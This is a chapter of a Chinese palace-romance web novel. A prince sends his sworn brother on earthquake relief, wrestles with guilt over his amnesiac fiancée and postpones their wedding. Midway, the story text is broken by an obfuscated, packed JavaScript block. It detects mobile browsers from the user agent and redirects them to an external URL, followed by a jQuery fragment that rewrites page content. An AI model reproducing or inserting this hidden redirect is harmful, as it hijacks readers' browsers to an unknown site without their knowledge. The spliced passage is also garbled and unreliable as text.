婚期渐近。
栖梧宫庭前的银杏仿佛一夜之间褪尽青绿,尽数转为灿金。萧瑟秋风掠过宫苑,卷起几片早凋的梧桐叶,簌簌作响。
又到了七日一朝会的日子。
邺王近半年来旧疾反复,御医令屡谏静养。更因年关边关粮饷案中,季临渊雷厉风行,肃清积弊,其决断之能已令朝野信服。故而今年节,邺王便下旨,令长公子季临渊代摄朝政。
这次朝会上,季临渊经过深思熟虑,做出了一项重要安排。
近日,晋国越昌府遭遇天灾,地震波及百里,连邺城亦受震动。前世此时,邺城虽忙于备战,仍对灾情予以体恤;这一世,他同样延续了这份仁政。
季临渊下令派遣贺兰澈前往晋国赈灾,三日后动身,并拨足银两物资,还特意点了熊蛮随行。
明面上,这是襄助邻国抗震救灾;实则,他存了几分私心——不愿阿澈继续留在京中,日日与长乐相见。
出乎意料的是,贺兰澈听闻这项派遣后,并未如预想中那般激烈反对。
“昭天楼在工造之事上素有造诣,出面赈灾也是应当……只是……”
只是,前世他就曾期盼,能与长乐一同前往——她行医救人,他修筑安民。
此刻,贺兰澈神情肉眼可见地低落。自前几日被长乐严词斥责后,他一直怏怏不乐,几乎要将满宫悬挂的红绸都瞪出个窟窿。
可惜,长乐不松口,便无人过问他的不甘。
“罢了,大哥。”他终是低声应道,“听闻药王前辈已率领药王谷弟子在越昌府支援。届时……”
“届时,你便邀药王前辈一同回城观礼吧。前辈一向喜欢你,沿途正好为他细细介绍邺城风物。”
大哥拍了拍他的肩膀,言语如常地嘱咐道。
贺兰澈齿关微紧,胸中郁结翻涌,却无从发作。
大哥这般光风霁月,将婚事坦然相告,他竟寻不出半分错处。
无论说什么,都显得自己不占理,一拳打在棉花上!
……
安排好这件事后,季临渊才去找长乐。
今日下朝略晚,他未换朝服,径直往栖梧宫而去。
秦嬷嬷正在前院清扫落叶,见他到来,忙躬身行礼,轻声禀道:“殿下,今日神医朝食未尽一碗羹,想来是胃口欠佳。”
季临渊微微颔首,温声应下,想了想,还是将玄紫色的朝服换成月白色后,才向后殿走去。
长乐正坐在午后的光影里,孤零零地荡着秋千。深浅交错的光影透过梧桐枝叶的缝隙,细碎地洒在她身上。
今日季临渊没有带她外出,也没有提前传诏,不会有人来访。因此,她偷了懒,没有易容。
此刻,肌骨莹润,容色清绝,宛如玉雕雪塑的神女,美得不似凡尘中人。
金粉华服、玉饰琳琅,点缀在她周身。
斜落的光映亮她半张侧脸,另外半张却隐在渐浓的暮色里。
这份绝美,却无端让人心碎,乃至崩溃。
她不像真实存在的人,倒像是广寒宫中清冷的仙娥,在被动的等待着。
季临渊一步一步朝她走近。
一瞬间,愧疚突然将他淹没。
或许他错了。
她此时安静得如同一具傀儡。
是他亲手求来了这场重逢,又亲手将她困在这里的。
他突然想对她坦白一切。
放她走吧,放她回到阿澈身边。
告诉她,那些失去的记忆里装着怎样鲜活的过往;告诉她,那个能让她真心欢笑的人,从来不是自己。
仿佛只有在阿澈身边,她才真正活得鲜明、喜悦。
就在他心绪翻腾时,秋千缓缓停下。
“殿下,你终于来了。”
“我等了你好久。”
她站起身,裙裾如云般拂过地面,朝他走来。
“你不在,我一点儿也不开心。”
她仰起脸,眼底清晰地映出他的轮廓,还带着些许委屈。
只这一瞬,季临渊那满腔的愧疚便被击得粉碎。
什么放过、什么成全,刹那间烟消云散。
他只要多看她一眼,便再也舍不下。
这样的日子,能多贪一日,也是好的。
季临渊伸出手,拂过她鬓边一缕发丝,动作温柔得近乎虔诚:“是我的错,以后尽量都早些来陪你。”
“殿下近来政务繁忙,今日可有什么趣事吗?”
她边说边主动牵起季临渊的手,将他引至秋千旁。待他刚落座,她便轻盈地钻入他怀中,寻了个舒适的姿势偎着他。
季临渊身形挺拔,纵是坐着,肩背依旧笔直如松。玄色朝服如浓墨般铺展开来,八尺有余的身形令秋千微沉,却仍稳稳承托着她。
“今日派了些人去晋国援震,钦点名册,散朝便迟了些。”
“哦?有你那位烦人的义弟么。”
“有他。三日后动身。”季临渊微微颔首,声音轻柔,“正好有一事要与你商议——关于我们的婚事。”
长乐闻言一怔,当即抬起头:“发生了什么变故么?”
“婚仪尚有些准备欠妥。”他避开了她的目光。
其实,是他自己尚未准备好。
前世,他曾满心欢喜地沉浸在大婚之日的憧憬中,却从未料到她究竟怀着怎样的目的看待这场婚宴。如今,若趁她记忆未复时完成婚礼,他不敢想象,待她想起一切后,会有多么残忍。
更何况,针对熊蛮、父王、狐木啄的布局,正在筹谋中,这些事情不能与长乐直言。
这几日他反复思量,婚仪并非不办,而是要缓办,最好待他做好万全准备之后。
长乐却喋喋不休,追问道:“殿下是觉得九月十八这日子不妥么?说来也怪,黄历上分明写着此日宜安葬入殓,当初我们为何偏选了这日?”
“我也不知你怎么想的,你喜欢这日。”季临渊惨淡一笑。
她语气认真:“唔,我如今又不喜欢这日了,只是请柬既已发出,若此时改期,少不得重新通告各方。长公子的婚事,又不是儿戏……”
“无妨。”这倒正合季临渊心意,他心中已经有了个打算,只是要她同意。便俯身与她耳语一番,她笑着点头。
随后,长乐突然灵机一动:“若是殿下事忙,我也可以帮忙呀。殿下若是忙不过来,不妨交一些事项给我。总好过我终日闷在这深宫之中,无所事事。”
季临渊笑道:“婚仪之事千头万绪,你真想亲自操持?”
前世,整个婚仪定在淋琊山庄大办,长乐除了过问宾客座次外,其余一概不理。彩礼与嫁妆“互免”,连嫁衣的选定也漠不关心。想来,那时她不过借他身份,布下一局杀招。
而今,她竟主动提出参与备婚,季临渊心头泛起难以名状的涩意。
眼前的长乐却郑重颔首:“殿下,我虽失了记忆,但心底的感觉不会骗人。我想嫁你,并非虚言。既是我们的婚礼,自当风风光光,郑重以待。哪有新娘子袖手旁观的道理?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549314|186753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>此事说定后,她果真像是找到了寄托,整个人都鲜活起来。下午他批阅奏折时,她便安静地陪坐在身侧,专注审阅宫政司呈递的婚仪细则。
夕阳西沉,季临渊搁下朱笔,揉了揉眉心,朝她张开双臂:“来。”
长乐放下手中文书,如归巢的雏鸟般投入他怀中。他一边用手指温柔地顺理着她微乱的鬓发,一边问道:“累了吗?”
“有一点。”长乐诚实地点头,“没想到婚仪的细则这样繁琐,看得头昏脑涨。不过想到这是我们的婚礼,心里又觉得欢喜。”
她仰起脸,眼中带着心疼:“殿下,若非我帮着看这些呈报的折子,你今日怕是要批到深夜。这样操劳,身子怎么受得住。”
“不累,为了你,怎么都不累。”
这已是他不知第几次说出同样的话。
两人在夕阳余晖中静静相拥。晚风拂过庭前梧桐,叶片飒飒作响。长乐在他温暖的怀抱里越来越困,终于靠在他胸前闭上了眼睛。
“乐儿……”季临渊的声音带着一丝几不可察的颤抖,“若有一天,你全都想起来了,还会这样陪在我身边吗?”
“嗯……”
怀中的人并未醒来,只在睡梦中轻轻呢喃了一声,仿佛在回应他的问话。
季临渊苦笑着将下巴轻抵在她发间。他知道,这个问题或许永远都不会有答案。
待长乐小憩醒来,季临渊才松开怀抱:“多亏了我的准夫人为我分担,明日或许能得半日闲暇。你可有什么想做的事?”
长乐还带着初醒的朦胧,软声呢喃:“我想养很多很多小动物……”
她打了个哈欠,继续喃喃道:“殿下,我梦见自己在一个山坡上,不知是在放羊还是放鹿。那家伙生得奇怪,头上长着两个角,身上却满是梅花似的斑点。”
此言一出,季临渊周身一僵。
他勉强扯出一抹浅笑,手指却不自觉地收紧。这细微的变化没能逃过长乐的眼睛。
“殿下?”
“哦。”季临渊回神,心中泛起愧疚,“那明日,我带你去珍兽圃散散心。”
*
珍兽圃在邺城城郊,占地虽广,却处处透着萧疏。入口处只有几只孤零零的仙鹤在池边踱步,细长的腿在浅水中划出寂寞的涟漪。
他牵着她缓步走在荒芜的小径上,声音里带着几分怀念:“幼时,父王常带我与临安来此狩猎。”
他其实还想说,阿澈也常来。只是他心软,从不忍心真的射杀生灵,总是在一旁等候。
“后来呢?”长乐望着满园的荒凉,问道。
后来,只因邺王不喜动物,这园子便渐渐断了经费。昔日常有熊罴出没的猎场,在临安被投毒、父王腿疾加重后,便彻底荒废了。
如今园中仅存的豹狮也已垂垂老矣,蜷在笼中打盹。
每月朔望日对民众开放,却也鲜少有人来。
他正想说“往后我们一同在此养育些生灵”,话未出口,竟然见到贺兰澈快步走来,怀中抱着一团雪白。
“你看我带了什么来?”贺兰澈笑着将小兽递到长乐面前。
长乐又是习惯性想向他见礼,被季临渊拦下后,才打量着这毛茸茸的小家伙,偏头问道:“这耗子是什么?”
贺兰澈忙不迭答道:“是锦锦啊。”
“锦锦……是什么?”
这话问得贺兰澈心头一酸,喉头像是被什么堵住了。
“锦锦是……”
他张了张嘴,却不知该如何接下去。